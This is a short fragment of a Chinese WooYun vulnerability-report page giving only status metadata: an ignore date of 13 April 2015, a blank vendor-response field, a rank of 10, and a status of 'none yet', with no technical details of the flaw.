忽略时间:2015-04-13 16:58

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无